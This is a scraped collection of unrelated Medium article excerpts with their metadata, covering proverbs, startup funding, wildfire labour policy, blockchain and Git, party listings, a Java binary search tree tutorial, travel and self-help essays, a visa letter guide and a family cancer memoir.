Meaning — As clinical psychologist and philosopher Jordan Peterson puts it, “do what is meaningful, not what is expedient.” The best things are hard to come by. If you’re patient, prudent, and disciplined, they will come to you. 25. “To err is human, to forgive is divine” — Alexander Pope Meaning — Forgiveness is our most holy quality. Love starts with forgiveness. 26. “Envy shoots at others and wounds herself” — Costa Rican Proverb Meaning — As I once wrote, comparing ourselves is natural and unavoidable. However, once negative emotions are attached to those comparisons, we begin to lose ourselves. 27. “A man apt to promise is apt to forget” — Thomas Fuller Meaning — My dad never made promises to me as a kid. He‘d tell me he was going to do something and then would do it. Additionally, he never used the word promise. I think it’s an unnecessary word. Tell someone you’re going to do something and then do it. 28. “It is easier for a camel to go through the eye of a needle than for a rich man to enter the kingdom of God” — Matthew 19:24 Meaning — No, this doesn’t mean that rich people are damned to burn in the eternal lake of fire. I interpret this scripture as the more money and success you get, the harder it is to hold yourself accountable. 29. “Anger end in cruelty” — Unknown Meaning — Once again, love starts with forgiveness. 30. “Murder often: divorce NEVER! — Joyce Brothers Meaning — It’s not as cynical as it sounds. If your friend, family member, or significant other has annoyed, aggravated, or even hurt you, consider murder, not divorce. In other words, express your disappointment, get loud, tell them how much they hurt you. Moreover, do not do something in one second that ends that relationship forever. “Divorce NEVER.” (Well, unless it really is unsavable; which in that case, I’m sorry). 31. “Proverbs cannot be contradicted” — Unknown Meaning — Oh yes, yes they can :)

https://medium.com/live-your-life-on-purpose/31-essential-proverbs-that-will-enlighten-your-life-immediately-2847e2e08db0

['Isaiah Mccall']

2020-10-08 16:02:40.304000+00:00

['Inspiration', 'Philosophy', 'Self Improvement', 'Motivation', 'History']

MAKE MONEY ONLINE/DoodleMaker

MAKE MONEY ONLINE/DoodleMaker Doodle Maker is the brand new doodle video creation software that allows you to leverage the power of an Intuitive AI for eye-catching and professional looking doodle videos in 30 languages without any hassle.Specifically, with DoodleMaker you can convert any video or any piece of content you like into 3 different formats including Blackboard, Whiteboard, Glassboard Switcher with just a few clicks of mouse. PRICE:$67.00 AFFILIATE LINK:https://jvz8.com/c/1101129/357045

https://medium.com/@davidabrahamgopal/make-money-online-doodlemaker-993be1d3b05b

['Ramachandran Gopal']

2020-12-22 19:56:45.184000+00:00

['Digital Marketing', 'Money', 'Online Marketing', 'Make Money Online', 'Affiliate Marketing']

New England’s Pre-Seed and Seed Deals — Part III

Recently, The Buzz profiled the a number of market maps on the New England Venture/Startup Ecosystem including: These market maps continue to be very positively received by our subscribers so we’re continuing to deliver. This time we’re back with Part III of the of the top Pre-Seed and Seed Deals series. As a reminder, this is for New England startups founded since 2018. Without further ado, here’s the list:

https://medium.com/the-startup-buzz/new-englands-pre-seed-and-seed-deals-part-iii-b4262e68675a

['Matt Snow']

2020-10-13 19:01:03.113000+00:00

['New England', 'Fundraising', 'Startup', 'Venture Capital', 'Seed Investment']

Addressing Racial Justice in California’s Wildfire Response

Addressing our history and our present There are other racial injustices embedded in our wildfire response. Cal Fire’s practice to support its emergency response workforce during peak megafires includes a program known as the Conservation Fire Camp. In 1915, Cal Fire developed the program with the California Department of Corrections and Rehabilitation (CDCR) during World War I to support a then depleting workforce. The goal was to train currently incarcerated people to provide support in emergency disaster efforts. Led by CDCR, this program is a partnership with Cal Fire and the Los Angeles County Fire Department. There are more than 44 fire camps across 27 counties in California. This wildfire season exposed the complexity of the program. Conservation camps were originally created as a supplement to the existing workforce. Today, the program exploits this labor as the state heavily relies on inmates receiving $0.14 an hour for putting their bodies on the fire line to protect people and property, fight wildfires and participate in other emergency disaster efforts. Yet many of these same brave people are barred from permanent employment in fire agencies once they have served their time because of their criminal records. Since 2017, the prison population has oscillated between 115,000 to 125,000 people according to the latest report published by CDCR. Black men and women are overrepresented in California prisons. In 2017, Black men made up 28.5% of the prison population while statewide Black male residents comprised only 5.6% of California’s population according to the Public Policy Institute of California.. Similarly, 25.9% of the female population are Black in comparison to the 5.7% of the state’s adult female population. Last month, Governor Gavin Newsom signed AB 2147, a bill that would expunge the record of firefighters that participated in the California Conservation Camp Program or a county incarcerated individual hand crew program to make it easier for those who have served their time to find meaningful employment with city and county firefighting operations.

https://medium.com/the-macroscope/addressing-racial-justice-in-californias-wildfire-response-37e6fd6226a5

['Asma Mahdi']

2020-11-05 21:54:12.382000+00:00

['Racial Justice', 'Prescribed Fire', 'Incarceration', 'Indigenous Knowledge', 'Wildfires']

Toccata & Fugue in the Key of Blockchain

Toccata & Fugue in the Key of Blockchain Variations of Blockchain Based Protocols This article assumes some basic knowledge about blockchain and is best read after reading my last article on how Bitcoin creates trust. This gets into some computer science-y stuff — if you feel it’s particularly opaque, please let me know. Blockchain is probably most familiar from the role it plays in cryptocurrencies, where it stores the distributed ledger. The term blockchain came into use after Bitcoin called its main data structure a chain of blocks. However, the general form of the data structure existed since 1992 [1]. The data structure was cemented when Haber & Stornetta wrote “Secure Names for Bit-Strings” in 1997 [2]. Eleven years later, the first modification to the structure was made, adding the nonce for Bitcoin’s proof of work scheme [3]. The origins of the underlying data structure has everything to do with ensuring a document or set of documents can be proved published in a particular form at a certain time. In this context, a document could be an image, audio file, movie, or other computer file. This is incredibly general and adaptable to many different circumstances. The structure is really simple, though the nomenclature makes it sound scary. It is a directed acyclic graph (DAG) with a Merkle tree at each node [see note 1 for a verbal explanation]. For a visual reference, below is the visual representation of the structure. The node IH(t-1) has the same tree structure below it. The connections between each IH(t) to IH(t-1) define the directed acyclic graph. Only the leaf nodes, which a labeled with single letters, have data — the rest of the nodes are just hashes which verify the content in the layers below. In reality, the Merkle tree is always modified to help gain some efficiency. The basic structure for blockchain. It shows the link from the current node to the previous one along with the Merkle tree contained in the current node. This is from Secure Names for Bit-Strings [2]. Cryptocurrency There are plenty of articles detailing how Bitcoin generates trust. The gist is all nodes use the relationships between the tokens, transactions, and blockchain to verify the transactions. If there is ever a branching of the train the nodes keep working until one branch of the chain gets longer and then all nodes use that branch as the reality of the network. When the next branch happens, rise and repeat. Proof of work is only a small part of why the chain is trustworthy, as there are many other constraints. As has been demonstrated by other tokens, there are other methods of proving trustworthiness to write to the blockchain, such as proof of stake [4], proof of space [5], verifiable delay functions [6]. Git SCM There is a project called Git, invented by Linus Torvalds in 2006 [7][8]. Git is used by many programmers for managing changes to source code. It actually uses a lot of the same structures. Git is a super set of blockchain. It has more structures in it, including a second DAG for notes. Each branch of a repo is a pointer to a particular commit (node in a DAG). While in normal use a branch will often share much of the DAG from another branch, it doesn’t have to share any part of the DAG. I had this idea earlier this month and posted a thread on Twitter about it. Git stores all of the files in a particular commit as Merkle tree like structure. This means its primary data structure is a DAG of trees— just like Bitcoin’s primary data structure. It does differ in that while Bitcoin requires the entire history of the DAG to be downloaded, Git can technically only download a snapshot of a specific point in the DAG and incremental updates are possible, because it doesn’t store the files in the tree — just a hash of the blob of content. In this particular case, using a Merkle tree inspired structure allows for quickly determining changes between each tree structure [see note 2].

https://medium.com/jill-burrows/toccata-fugue-in-the-key-of-blockchain-d97acd9ca722

['Jillian Ada Burrows']

2018-01-20 09:48:12.964000+00:00

['Technology', 'Git', 'Bitcoin', 'Programming', 'Blockchain']

The 10 best New Year Parties in Mumbai & Pune 2019!

Today is New Year’s Eve! Can you believe its 31st December already? The year has gone by in a swish and we’re a little bit better, fatter (wink!) and wiser. To celebrate these accomplishments, you deserve a fabulous party where you end up shit-faced and utterly satisfied. Pic Courtesy: Food and Fads Here’s a list of 10 New Year parties you must absolutely attend in Mumbai and Pune straight into the morn of New Year! - Mumbai Kitty Su’s New Year Bash - Kitty Su’s is known all over Mumbai for the most happening and fun New Year’s parties. Don’t miss out on the fun! Courtesy: Paytm Insider Venue: The Lalit, Sahar Airport Road, Mumbai. Date: 31 December 2019 Time: 10 pm onwards Entry Fees: Rs. 2500 onwards Website: https://insider.in/kitty-su-mumbai-presents-new-years-eve-2020-dec31-2019/event 2. NYE Glitz and Glamour - Party hard with DJ Ankit & Dhruvil and spend the night setting the dance floor on fire with your friends! Courtesy: Paytm Insider Venue: Glocal Junction, Andheri : B-57, Morya Bluemoon Building, Ground Floor, Link Rd, Andheri West, Mumbai, Maharashtra 400053 Date: 31 December 2019 Time: 9 pm onwards Entry Fees: Rs. 2010 onwards Website: https://insider.in/new-year-night-with-glitz-glamour-at-glocal-junction-andheri-dec31-2019/event 3. Disco Ball 2020 Season 5 - Boasting of three party zones : the Ballroom, Poolside and the Club Zone, the New Year bash is gonna be rad! Courtesy: Paytm Insider Venue: Radisson Hotel Mumbai Andheri MIDC. X — 22, MIDC Central Rd, Hanuman Nagar, Andheri East, Mumbai, Maharashtra 400093 Date: 31 December 2019 Time: 9 pm onwards Entry Fees: Rs. 2500 onwards Website: https://insider.in/disco-ball-nye-2020-radisson-andheri/event 4. New Year Eve 2020 At SMAAASH - Unlimited booze, music and dancing…yes please! Join the fun at the Carnival party of Smaaash, Kamala Mills, Lower Parel. Courtesy: Paytm Insider Venue: SMAAASH, Mumbai. City Studio, Gate 4, Utopia City, Next to Kamala Mills Compound, Pandurang Budhkar Marg, Lower Parel West. Date: 31 December 2019 Time: 7.30 pm onwards Entry Fees: Rs. 999 onwards Website: https://insider.in/new-year-eve-2020-at-smaaash-kamala-mills-lower-parel--dec31-2019/event 5. BellaCiao2019 - The Biggest Party of the Decade….totally free! Join DJ Steven & DJ Shank on the dance floor. What are you waiting for? Courtesy: Paytm Insider Venue: Take It Easy, Mumbai. Opposite Star Bazaar KL Walawalkar Marg Jeevan Nagar, Andheri West. Date: 31 December 2019 Time: 9 pm onwards Entry Fees: Free Website: https://insider.in/bellaciao2019-dec31-2019/event Pune 1. NEW — ON at JW Marriott | Pune - Eli Avram and DJ Shanaya in the house! Attend the biggest New Year party in Pune at JW Mariott. Courtesy: Paytm Insider Venue: JW Marriott Hotel Pune. Senapati Bapat Road, Laxmi Society, Model Colony, Shivajinagar, Pune, Maharashtra 411053 Date: 31 December 2019 Time: 9 pm onwards Entry Fees: Rs. 3000 onwards Website: https://insider.in/new-on-at-jw-marriott-pune-dec31-2019/event 2. New Year Eve 2020 at Penthouze | B-Town Night 2.0 - DJ Maria will make sure you dance your way into 2020 on a rooftop overlooking the gorgeous Pune skyline! Courtesy: Paytm Insider Venue: Penthouze Nightlife, Pune. Penthouze, Terrace Floor, Onxy Tower, Mundhwa, Landmark Citibank Building, N Main Rd, Koregaon Park Annexe, Mundhwa, Pune, Maharashtra 411001 Date: 31 December 2019 Time: 8 pm to 1 am Entry Fees: Rs. 2999 onwards Website: https://insider.in/new-year-eve-2020-dec31-2019/event 3. Masquerade Ball 2.0 at Coco | NYE 2020 - The biggest masquerade ball cum New Year bash is back with a bang! Courtesy: Paytm Insider Venue: Coco Sushi Bar. 12th Floor, Onyx Tower, Mundhwa, Koregaon Park Annexe, Pune, Maharashtra 411001 Landmark Citibank Building. Date: 31 December 2019 Time: 8 pm to 1 am Entry Fees: Rs. 2999 onwards Website: https://insider.in/new-year-eve-2020-coco--dec31-2019/event 4. NYE at THE MAFIA - A Carnival party with laserworks, jugglers, fireworks and the whole shebang! DJ Faith and DJ Hrish will set the dance floor on fire at this fiesta. Courtesy: Paytm Insider Venue: The Mafia Sky Lounge. Sky Vista, Lunkad Realty, 9th Floor and Terrace, New Airport Rd, Next to, Dorabjee’s, Viman Nagar, Pune, Maharashtra 411014 Date: 31 December 2019 Time: 8 pm to 12 am Entry Fees: Rs. 2500 onwards Website: https://insider.in/nye-at-the-mafia-dec31-2019/event 5. MH12 Music Fiesta - Live music from the best rappers of Pune with a mesmerising fireworks display! What more do you need? Courtesy: Paytm Insider Venue: Royal Palms, Pune. 84/36, N Main Rd, Koregaon Park Annexe, Mundhwa, Pune, Maharashtra 411001 Date: 31 December 2019 Time: 6 pm onwards Entry Fees: Rs. 400 onwards Website: https://insider.in/mh12-music-festa-nye2020/event How are you celebrating New Year? Comment below and let us know. Let’s Party! See you in 2020!

https://medium.com/getsethome-com/the-10-best-new-year-parties-in-mumbai-pune-2019-ac0ef12b1f55

['Shreya Goregaonkar']

2019-12-31 07:41:42.276000+00:00

['2020', 'Party', 'New Year', 'Mumbai', 'Pune']

Coronavirus: Education ministry proposes closing schools from Nov 24

Web Desk November 18, 2020 Coronavirus: Education ministry proposes closing schools from Nov 24 The Federal Ministry of Education has recommended that the provinces shut down schools from November 24 to January 31, 2021, amid rising coronavirus infections in the country learn more and video visit this link:https://bit.ly/2JlCMoT

https://medium.com/@fextryu/coronavirus-education-ministry-proposes-closing-schools-from-nov-24-a60bf24f63ff

['Asghar Ali']

2020-12-26 06:56:32.060000+00:00

['Schools', 'School Closing', 'Holidays']

Lesson 31: The Tree, Binary Search Tree Data Structure

Tree In computer science, a tree is a widely used abstract data type (ADT) that simulates a hierarchical tree structure, with a root value and subtrees of children with a parent node, represented as a set of linked nodes. A tree data structure can be defined recursively as a collection of nodes (starting at a root node), where each node is a data structure consisting of a value, together with a list of references to nodes (the “children”), with the constraints that no reference is duplicated, and none points to the root. Every item in the tree is a node The node at the top of the tree is the root Every non-root node has one and only one parent A leaf node has no children A singleton tree has only one node — the root Links Binary Search Tree In computer science, binary search trees (BST), sometimes called ordered or sorted binary trees, are a particular type of container: a data structure that stores “items” (such as numbers, names etc.) in memory. They allow fast lookup, addition and removal of items, and can be used to implement either dynamic sets of items, or lookup tables that allow finding an item by its key (e.g., finding the phone number of a person by name). Characteristics Every node has 0, 1, or 2 children Children are referred to as left child and right child In practice, we use binary search trees The left child always has a smaller value than its parent The right child always has a larger value than its parent This means everything to the left of the root is less than the value of the root, and everything to the right of the root is greater than tha value of the root Because of that, we can do a binary search Time complexity Average: Space O(n), Search O(log n), Insert O(log n), Delete O(log n) Worst case: Space O(n), Search O(n), Insert O(n), Delete O(n) Operations Can perform insertions, deletions, and retrievals in O(log n) time Traversal Level — visit nodes on each level Pre-order — visit the root of every subtree first Post-order — visit the root of every subtree last In-order — visit left child, then root, then right child Delete Node is a leaf Node has one child Node has two children Delete node with two children Need to figure out what the replacement node will be Want minimal disruption to the existing tree structure Can take the replacement node from the deleted node’s left subtree or right subtree If taking it from the left subtree, we have to take the largest value in the left subtree If taking it from the right subtree, we have to take the smallest value in the right subtree Choose one and stick to it Let’s create a tree implementation: final class Tree { private Node root; void insert(final int value) { if (root == null) { root = new Node(value); } else { root.insert(value); } } Node get(final int value) { if (root != null) { return root.get(value); } return null; } void delete(final int value) { root = delete(root, value); } int min() { if (root == null) { return Integer.MIN_VALUE; } else { return root.min(); } } int max() { if (root == null) { return Integer.MAX_VALUE; } else { return root.max(); } } void traverse() { if (root != null) { root.traverse(); System.out.println(); } } private Node delete(final Node subTreeRoot, final int value) { if (subTreeRoot == null) { return subTreeRoot; } if (value < subTreeRoot.getData()) { subTreeRoot.setLeftChild(delete(subTreeRoot.getLeftChild(), value)); } else if (value > subTreeRoot.getData()) { subTreeRoot.setRightChild(delete(subTreeRoot.getRightChild(), value)); } else { // Cases 1 and 2: node to delete has 0 or 1 child(ren) if (subTreeRoot.getLeftChild() == null) { return subTreeRoot.getRightChild(); } else if (subTreeRoot.getRightChild() == null) { return subTreeRoot.getLeftChild(); } // Case 3: node to delete has 2 children // Replace the value in the subtreeRoot node with the smallest value // from the right subtree subTreeRoot.setData(subTreeRoot.getRightChild().min()); // Delete the node that has the smallest value in the right subtree subTreeRoot.setRightChild(delete(subTreeRoot.getRightChild(), subTreeRoot.getData())); } return subTreeRoot; } final static class Node { private int data; private Node leftChild; private Node rightChild; Node(final int data) { this.data = data; } void insert(final int value) { if (value == data) { return; } if (value < data) { if (leftChild == null) { leftChild = new Node(value); } else { leftChild.insert(value); } } else { if (rightChild == null) { rightChild = new Node(value); } else { rightChild.insert(value); } } } Node get(final int value) { if (value == data) { return this; } if (value < data) { if (leftChild != null) { return leftChild.get(value); } } else { if (rightChild != null) { return rightChild.get(value); } } return null; } int min() { if (leftChild == null) { return data; } else { return leftChild.min(); } } int max() { if (rightChild == null) { return data; } else { return rightChild.max(); } } void traverse() { if (leftChild != null) { leftChild.traverse(); } System.out.print(data + ", "); if (rightChild != null) { rightChild.traverse(); } } int getData() { return data; } void setData(final int data) { this.data = data; } Node getLeftChild() { return leftChild; } void setLeftChild(final Node leftChild) { this.leftChild = leftChild; } Node getRightChild() { return rightChild; } void setRightChild(final Node rightChild) { this.rightChild = rightChild; } @Override public String toString() { return "Data = " + data; } } } It can be used as follow: final var tree = new Tree(); tree.insert(25); tree.insert(20); tree.insert(15); tree.insert(27); tree.insert(30); tree.insert(29); tree.insert(26); tree.insert(22); tree.insert(32); tree.insert(17); tree.traverse(); var value = tree.get(27).getData(); value = tree.get(17).getData(); value = tree.get(8888); var min = tree.min(); var max = tree.max(); tree.delete(8888); tree.traverse(); Links

https://medium.com/it-lessons/lesson-31-the-tree-binary-search-tree-data-structure-e8a2c3816532

['Andrey Karazhev']

2020-12-15 06:38:29.764000+00:00

['Data Structures', 'Binary Search Tree', 'Trees', 'Tutorial']

Week one: Saying Yes [Bali]

This summer for me has been defined by the take-offs and landings I have experienced — both literally on planes and in my own mind and heart. I left a full life in Washington DC to return to England and ‘settle down’ with my wonderful family and friends there. In reality I see that I was actually just having a moment of rest until I began another, almost bigger, journey into the unknown. From Washington DC in May I have now, somehow, ended up in Canggu, Bali. In a co-working space complete with a pool, hipster culinary delights and like-minded community from all around the World. Dojo Bali, you have my heart. On reflection though I have no idea how I’ve pulled this one off. It’s extreme even for me. I’ve enrolled into a deliberate 3 months of ‘redesigning my life’ [as millennial as that sounds] which will include looking deeply into myself and being honest about how I might best serve myself and as a result serve the world and communities around me. The Nomad MBA is a group of unique humans looking to travel, learn and grow together. We’ve all come from different places and a huge variety of experiences but so far it seems there is a common thread that runs in each of us, although trying to define the thread is escaping me, I’m not sure there’s a word for it. The last week has been intense. We have formed deep, and hopefully lasting, relationships that have already begun to reevaluate how I see the world personally. My hope is being restored after a couple of years of ‘fake news’, depressing information drip-fed into my heart and a slow numbing of the truest versions of myself. I know that makes me sound like a hippy. I don’t really mind that it does [everyone who knows me well knows I’ve always been a bit inclined to a ‘flowers-in-the-hair’ moment]. But given that now I’ve [re]remembered that the truest things are good and whole and holy I’m feeling encouraged again. And that’s what I’m experiencing here — the bringing together of a group of people who have bravely stepped into a completely unknown territory where the lines are erased and then re-written for each of them. I’m excited to see so many individuals successfully achieving their personal and professional goals in harmony with each other. Here in Canggu it is genuinely possible to work for 7 hours a day on projects you care about while not coming into the ‘office’ until 10am, leaving for a long surf at lunch [jokes, I’ve never surfed but everyone else seems to], paying very little in living costs AND to save money for the potential return to the shock of the common Western existence. If these people can do it it means that you [and I] can absolutely do it too. You have the option of living a healthy, balanced, fulfilled life. You have the option to listen to true things without fear of someone calling you a hippy [*cough*]. You have the option of saying yes to each and every dream that you have thought about or has crossed the surface of your heart. Now, of course, everyone’s yes isn’t about becoming a ‘digital nomad’. I have a feeling though that as you read this you have a little tug in you that says “this is your yes right now”. It might be to learn an instrument, or start that book, or become a stock broker. I don’t know what it is for you, only you do. For me I am learning that the hardest part was saying simply acting on my ‘yes’. The rest of this is relatively easy, but the saying yes was deeply painful in so many ways. It was leaving behind what was a good life in order that my best life could be lived. This meant potentially compromising relationships that are incredibly important to me. It meant letting go of a steady income and a beautiful home. It meant starting from scratch which is terrifying because who are we really at the beginning? Ground Zero brings us back to the core things about each of us. I knew that I desperately needed to find my authenticity again and not be defined by what someone else might have in mind for ‘my’ best. I had always relied on other voices to tell me how well I was doing, whether I was on track, whether my existence had worth. That was wrong on so many levels, not least because it put unnecessary expectation and pressure on those people closest to me. Freedom doesn’t look like that for anyone. Really what I needed to do was listen to the Divine voice inside of me. I’m slowly learning how to only rely on that and when I do manage it life becomes so much wider, more vivid and incredibly fulfilling. Every. Single. Time. Best yet it is an individual journey that we do in community, not apart from each other but alongside each other. Supporting each true thing gently and respectfully. The privilege of being able to do this kind of transition in Bali [and Thailand and Vietnam later] isn’t lost on me. I wake up grateful and go to bed grateful that I continue to experience the brightest colors each day which seems to me to be a lavish expression of grace. That I get to meet the Balinese people [who, without exception so far, have been the kindest, friendliest people I’ve ever encountered] is a huge gift. They have welcomed us into their homes, their town, their beach and have made us feel fully welcome. I’m already sad for the goodbye we have to say in a few weeks. That I get to watch the sunset each evening [and specifically at Tanah Lot Temple where as the sunset millions of bats rose in the air to feed and dance in the air]. That I get to eat delicious, wholesome food. That I get to laugh in the community that is building here. That I sleep in a bed. The list could go on and on. So, my ‘yes’ to this scary, thrilling and beautiful adventure, for the first week at least, has been a success. It’s brought me into the place of thankfulness and humility at the privileged position I am in. Now I can’t wait to turn that all back around when I figure out how best to share these new and beautiful things in the world that we live in and love. I’ll leave you to think about what your yes might be and how you can action it into being. Seriously if I can do it anyone can.

https://medium.com/nomad-academy/week-one-saying-yes-bali-675af81ddbe0

['Hannah Gibney']

2017-09-24 12:22:22.453000+00:00

['Digital Marketing', 'Travel', 'Digital Nomads', 'Productivity', 'Work And Travel']

Here is a shortcut that will search Notes for a text string without launching Notes.

Here is a shortcut that will search Notes for a text string without launching Notes. The results appear in a window and are copied to the clipboard. I’ve added it to my iPad home-screen, which makes it handy for quick searches. Notes is where I save most of my notes and research, which has served me well. See this article. This Shortcut makes Notes much more accessible.

https://medium.com/@willjmurphy/here-is-a-shortcut-that-will-search-notes-for-a-text-string-without-launching-notes-2a7d2da4a4df

['Will J Murphy']

2021-01-10 19:39:45.057000+00:00

['Gadgets', 'Shortcuts', 'Notes', 'iPad', 'Productivity']

U.S. Visa Sample Letter Of Invitation

Every year there are millions of people apply for a U.S Visitor Visa. Moreover, the process of applying for a visa in the United States requires proper paperwork preparation. One of those important elements is the letter of invitation for a U.S Visa. However, the reality is that not many people in the United States and the rest of the world are aware of how to write an invitation letter for a U.S Visitor Visa. See on YouTube: https://www.youtube.com/watch?v=sV8TcMr5vzw Therefore, in this article, we will provide some important instructions about how to write this kind of letter. To have a valid and meaningful invitation letter, you must use this unique template or see it on YouTube HERE As per this template, you will need to fill the Inviter’s first and last name, or company name. The next sections require you to fill general information such as the address, phone number, and email of the inviter. Also, you will have to type the date of applying. In the next step, you need to add the U.S Embassy address. The third part requires that you fill out the information about the person that you are inviting to the United States. That information includes the date of birth of the invited person, passport number, and status (e.g child, adult). Also, you can use this simple and efficient template in case you need to invite more than one person at the same time. The letter also states that the invitation is solely meant for the invited person(s) to travel in the United States for business and tourism purposes. And that the invited people will not remain in the U.S after the authorized stay. They will return to their country of residence at the end of their stay. And finally, you will only need to sign, date, and the letter is ready to be submitted along with the other paperwork needed for the U.S visitor visa application. iDispute hope this template letter will help you to get U.S. Visa. Welcome to the United States of America!

https://medium.com/@idispute/u-s-visa-letter-of-invitation-to-visit-the-united-states-of-america-2dcc92d83f1f

[]

2021-02-26 16:16:54.058000+00:00

['United States', 'Visa', 'Idispute', 'USA']

Authenticity Is Your Now

Authenticity is not a fixed point on a map. It’s fluid, much like your identity, and shifts over the course of your life. It’s easier to trick yourself into believing the feel-good advice that your voice comes from a sudden revelation. You just have to wait for that moment. And once you’ve found it, the entire picture comes into focus and remains that way for life. But authenticity is found through fragments. It evolves over time. It’s a moving target that falls out of focus and can be lost to the chaos of life. Authenticity is less about identifying a singular purpose and voice that should define your entire life. It’s about finding and trusting your voice today. In other words, embracing the impermanence of your identity, knowing that it can and will change. How you live your life–your interests, principles, and priorities–will evolve over time. As you grow, you’ll add depth to your voice. If you remain the same for too long, that’s when you know you’ve stopped learning or are clinging to an expired version of yourself. It’s easy to get caught up in the expectations you hold for yourself or that others project upon you– who you should be, where you have been. If you fuel these doubts, you can opt out of the unknown and find comfort in your plateau. But you won’t grow through the familiar, and you won’t find alignment. Your sense of authenticity–your now–is something that’s all your own. It’s discovered, developed, and deepened, by the obstacles you face, the uncertainties you navigate, and the inspiration you find along the way. If you want to create something that matters–to both yourself and others–you have to create from where you currently are in your life. That’s how you build momentum and depth. Trust yourself. It’s the difference between artists and entrepreneurs who get lucky once and those who sustain success over decades. If you cling to what got you there in the first place, you’ll fail to evolve and render yourself irrelevant. Artists who reinvent themselves fight for projects that allow them to grow, stretch their abilities, and discover new things. In doing so, they create from a place that resonates with them at a single point in time. Over the course of years, a series of single brush strokes reveals an evolving sense of authenticity. Bob Dylan, one of history’s great songwriters, has reinvented himself time and time again throughout his career. He’s altered his voice and bridged various genres, beginning in folk, shifting towards rock, and experimenting with country and Christian albums along the way. Five decades later we can step back and admire his trajectory–how he’s pushed himself to grow, defy expectations, and channel that into his art. Time makes this seem inevitable, as if all he had to do was fall in line with destiny. But that fails to take into account the years of criticism, outrage, and uncertainty Dylan faced. Authenticity–creating from who you are today, despite expectations tearing you in different directions–is not for the faint of heart. Dylan threw the folk community into a fit of rage when he “went electric.” He could have stuck with what was working and fallen in line with their expectations, but validation was never his primary motivation. He sought meaning over influence at each step of his career. As a result, he achieved exactly that–lifelong influence. Dylan resonates with people because his songwriting tracks his own development as a human being. His songs reflect who he was–his observations, experiences, and imagination–and who he refused to be at each point in time. Dylan’s career is a master class in embracing the impermanence of identity and authenticity. The fragments of himself that he brought to life shows he understands this in a deep way. “There were a lot of better singers and better musicians around these places but there wasn’t anybody close in nature to what I was doing. Folk songs were the way I explored the universe…” Bob Dylan There’s no single template for finding your voice as it exists today. It’s different for each person. Legendary director, Steven Spielberg, was quite different from Dylan. Dylan had unusual depth which he developed at an early age. Spielberg developed his own sense of depth over decades. Spielberg’s progression from Jaws (1975) to Schindler’s List (1993) demonstrates this. In those eighteen years, he grew by finding projects that spoke to him at a specific point in time. What felt authentic to him in 1965 was entirely different than 1993. That doesn’t negate his early work, he was just creating from a different place. Spielberg’s voice evolved through his films, just as Dylan’s did through his albums. That’s why they’ve remained relevant for so many years. They’ve changed, adapted, and grown. But most importantly, both have had the courage to speak from where they were in each present moment. Both faced criticism along the way for unpopular decisions, but that’s the irony of the whole thing. People are enraged by change, but if you stay the same you guarantee failure. You lose touch with yourself, a sense of fulfillment in your work, and a deeper connection to your audience. Before you release your work into the wild, fight like hell to make sure it first resonates with you. No one gets it right each time. There will be times you lose your sense of authenticity. Not even Dylan and Spielberg are immune to the chaos of life. But when the intention and awareness are there, it’s easier to rebuild and rediscover a sense of momentum. Life is motion. Authenticity is about finding harmony in that motion. It’s not always easy, but it’s meaningful. Allow yourself to evolve through uncertainty. When you find the courage to speak from this place, you add unusual depth and clarity to your voice. That’s what draws people in. Start by reflecting on what resonates with you at this point in your life–experiences, interests, observations, values. Authenticity is your now. No matter where you are, trust yourself to create from who you are today. Sharpen your strategic mind, take thoughtful action, and live on your own terms. Unlock your FREE copy of my latest ebook, 7 Strategies to Navigate the Noise 📕👆

https://medium.com/the-mission/authenticity-is-your-now-58d035a5b8f3

['Alex J. Hughes']

2019-10-05 18:21:56.385000+00:00

['Identity', 'Creativity', 'Authenticity', 'Life Lessons', 'Art']

Trying to Keep Death at Arm’s Length

Since we’re early for the appointment, we stop for coffee. As my father bites into a giant chocolate muffin, my stepmom and I wink at each other. The best way to get my father to stop complaining is to feed him something, anything. I notice he’s looking increasingly somber and subdued. At our small table, shared anxiety is palpable. As I root around in my backpack for more gum, my head starts spinning. But I force out a trademark goofy smile all the same and reassure my stepmom that whatever comes next, we’ll deal with it together as a family. As we make our way around the Pantheon and past the Portuguese bookshop, she turns to me. “You know, you can come in with us if you like,” she says. The coffee I’ve just ingested threatens to exit my body through my mouth, geyser style. This wasn’t part of the plan. Deep breath, stand firm, let’s go. “Of course, I’d be happy to if you’re sure you don’t mind,” I reply. My parents both nod. To defuse tension as we wait for the oncologist I whip out my cell phone and show my stepmom pictures of my cats. Back when I flew out at the end of December, my husband made them each an Instagram account to try and cheer me up. Desperate times call for desperate measures so I deploy the cute and even though my stepmom is a dog person, she relaxes enough to stop dabbing her eyes with a tissue. The oncologist calls us in and I shake his hand as my parents introduce me. Somehow he becomes aware I’ve come from Seattle and he says he can hear it. I only have a slight anglo lilt in French when I’m extremely nervous, an audible tell that betrays my calm and composed exterior. As he reviews the latest PET scan results with us and examines my stepmom, I get a better idea of how he’s been managing their expectations. I hear him loud and clear, and when we look at each other, he knows that I know. This knowledge is heavy. But I’m here purely as a witness, and at no point do I join in the conversation between him and my parents. The oncologist prescribes a new protocol in pill format and sends my stepmom to a nurse who will explain how it works. Walking out of the cancer institute, we’re all a bit unsteady on our feet and in need of a pause so we stop at the Corsican coffee place near the Portuguese bookshop. My parents have barely sat down that my father is already scheduling medical appointments into his phone and organizing the new paperwork. My stepmom texts her son to tell him we’ll be on our way to his place shortly for a family debrief. I excuse myself so I can pop in next door and get the grammar book I’ve needed for weeks. With a cheerful and assertive “Boa tarde!*” I walk into the shop where I spend a few minutes choosing books before timidly attempting a conversation in Portuguese with the owner, a well-known translator and editor. I want to ask him for advice about settling in Lisbon on a long-term temporary basis but my heart isn’t in it and I sound like a chipmunk with an Azores accent. The words tumble out at random but I still manage to leave with a business card on which an email address is underlined. Granted, it might have been easier in French but the thought didn’t even cross my mind. I go back next door clutching a grammar book, a history book, a novel from the bargain box, and some Portuguese cough drops for my stepmom. There was a small Dr Bayard display box jammed on the fiction shelf; she likes candy.

https://asingularstory.medium.com/when-you-realize-you-are-going-to-die-35280efe880a

['A Singular Story']

2020-12-10 15:06:23.394000+00:00

['Life Lessons', 'Family', 'Love', 'Self', 'Spirituality']

PRontheGO: How To Measure Reputation Through Google

